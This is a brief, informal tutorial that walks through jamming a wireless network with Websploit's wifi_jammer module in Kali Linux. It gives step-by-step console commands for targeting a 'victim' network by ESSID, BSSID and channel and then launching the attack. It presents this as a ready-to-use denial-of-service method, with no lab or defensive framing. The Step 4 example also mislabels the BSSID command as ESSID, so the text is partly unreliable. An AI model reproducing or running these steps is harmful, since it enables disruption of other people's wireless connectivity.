In this tutroial im going to say about how to Jam a wirless network using Websploit in Kali Linux.

Step 1 :

Open terminal & type websploit(as shown in below image).



Step 2 :


Now Type use wifi/wifi_jammer(as shown in below image).


 Step 3 : 

Now Type set ESSID[victim essid name](as shown in below image).
Example:set ESSID chan
 

Step 4 : 

Now Type set BSSID [victim MAC address of the wireless interface](as shown in below image).
Example:set ESSID A9-45-F2-20-13-AA



Step 5 : 

Now Type set CHANNEL 7(as shown in below image).


Step 6 : 

Now Type run (as shown in below image).